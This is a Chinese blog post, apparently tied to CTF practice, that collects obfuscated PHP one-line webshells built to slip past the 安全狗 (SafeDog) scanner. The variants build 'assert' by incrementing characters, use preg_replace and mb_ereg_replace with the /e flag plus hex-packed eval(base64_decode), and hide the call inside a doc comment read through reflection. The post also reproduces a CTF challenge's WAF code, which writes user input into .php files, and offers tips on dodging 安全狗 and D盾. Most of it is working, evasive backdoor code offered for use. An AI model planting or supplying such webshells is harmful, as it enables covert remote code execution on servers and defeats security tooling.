分享几个好玩的过狗一句话

之前玩CTF遇到一个一句话很有意思,于是就把之前收藏的文章拿出来看看,学习一下,同时分享给各位。所有的吗都是在前人的基础上稍作修改,对于一些关键点会稍作解释,方便大家理解。

第一种

隐藏关键字,通过对单个字符变量进行++操作来获取其他字符,再进行拼接得到我们想要的函数。

1
2
3
4
5
6
7
8
@$_=[].'';        //PHP5.3之后(不包括5.3)才能这么用,数组被强制转换成字符串,获取字符串Array,等下要用到A
@$___=$_['']; //获取A字符,这里的空字符串会被转换成0,即['']变成[0]

$_ = 'A';
$_++;//$_的值为A

$__ = "Z";
$__++;//$__的值为AA,而不会是ASCII字符Z的下一位

所以我们可以根据这个思路构造一句话,如下:(ASSERT("eval($_POST[c])");当中还有base64解密)

1
2
3
<?php
@$_=[].'';@$___=$_[''];$____=$___;$____++;$_____=$____;$_____++;$______=$_____;$______++;$_______=$______;$_______++;$________=$_______;$________++;$________++;$________++;$________++;$________++;$________++;$________++;$________++;$________++;$________++;$_________=$________;$_________++;$_________++;$_________++;$_________++;$_=$____.$___.$_________.$_______.'6'.'4'.'_'.$______.$_______.$_____.$________.$______.$_______;$________++;$________++;$________++;$_____=$_________;$_____++;$__=$___.$_________.$_________.$_______.$________.$_____;@$__($_("ZXZhbCgkX1BPU1RbY10p"));
?>




在另一种变形,不使用任何大小写字符,如下:ASSERT($_POST[_]);

1
2
3
<?php
@$_=[].'';@$___=$_[''];$_=$___;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;@$___($_[_]);
?>



这个变种一句话是在今年的湖湘杯CTF中遇到的,题目的WAF源代码也可以贴出来给大家

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php 
ini_set("display_errors", "On");
error_reporting(E_ALL | E_STRICT);
if(!isset($_GET['content'])){
show_source(__FILE__);
die();
}
function rand_string( $length ) {
$chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
$size = strlen( $chars );
$str = '';
for( $i = 0; $i < $length; $i++) {
$str .= $chars[ rand( 0, $size - 1 ) ];
}
return $str;
}
$data = $_GET['content'];
$black_char = array('a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z',' ', '!', '"', '#', '%', '&', '*', ',', '-', '/', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', ':', '<', '>', '?', '@', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', '\\', '^', '`', '|', '~');
foreach ($black_char as $b) {
if (stripos($data, $b) !== false){
die("关键字WAF");
}
}
$filename=rand_string(0x20).'.php';
$folder='uploads/';
$full_filename = $folder.$filename;
if(file_put_contents($full_filename, '<?php '.$data)){
echo "<a href='".$full_filename."'>shell</a></br>";
echo "我的/flag,你读到了么";
}
else{
echo "噢 噢,错了";
}
?>

第二种

使用正则匹配配合/e模式,制作一句话木马
当使用e修饰符时, preg_replace() 在进行对字符串的替换后, 替换后的字符串会被作当做php代码来执行。单引号、双引号、反斜线(/)和 NULL字符在替换时会被反斜线转义。

1
2
3
4
5
6
7
<?php
$subject="Mochazz's Trojan";
$pattern="/^.*$/e";
@$payload=base64_encode($_POST[_]);
$replacement=pack('H*', '406576616c286261736536345f6465636f646528')."\"$payload\"))";
preg_replace($pattern, $replacement , $subject);
?>

406576616c286261736536345f6465636f646528对应@eval(base64_decode(



虽然5.5.0之后会报错,但是一句话的功能还是能正常执行。

mb_ereg_replace()函数也可以达到同样执行效果,但是过防护软件效果不好。

1
2
3
<?php
mb_ereg_replace('.*', $_REQUEST[_], '', 'e');
?>

第三种

利用PHP反射机制制作免杀木马
将一句话打乱写在注释语句中,通过PHP的反射机制来构造、执行一句话。这里需注意,用于动态执行的字符串必须要是”assert”,不能是”eval”,因为在PHP中,eval、die不是函数,而assert是函数。代码如下:(ASSERT(eval($_POST['_'])))

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
/**
* ev
* al(
* ASS
* ERT
* $_P
* OST['_'])
*/
class TestClass { }
$rc = new ReflectionClass('TestClass');
$str = $rc->getDocComment();
$e = substr($str, strpos($str,"e"),2);
$e = $e.substr($str,strpos($str,"a"),3);
$a = substr($str, strpos($str, "A"),3);
$a = $a.substr($str, strpos($str, "E"),3);
$e = $e.substr($str, strpos($str, "$"),3);
$e = $e.substr($str, strpos($str, "O"),9);
$a($e);
?>

如果注释中有关键字,安全狗会把他当成一句话(估计安全狗使用的是关键字匹配),但是D盾不会,所以在过安全狗的时候,如果对webshell进行了混淆,不要把明文关键字放在注释里面。

使用反射函数来完成一句话功能

1
2
3
4
<?php
$f = new ReflectionFunction("assert");
$f->invokeArgs(array("$_POST[_]"));
?>


关于PHP的反射机制,可以参考这篇文章:PHP的反射机制
当然,还有很多种一句话的变形,这里推荐下面这个博客,写的可是详细,可以好好看看。
Deformity PHP Webshell、Webshell Hidden Learning

参考文章
http://www.cnblogs.com/Littlehann/p/3522990.html
http://www.freebuf.com/articles/web/138687.html
http://blog.csdn.net/hguisu/article/details/7357421

文章作者: Mochazz
文章链接: https://mochazz.github.io/2017/12/04/bypass1/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Mochazz's blog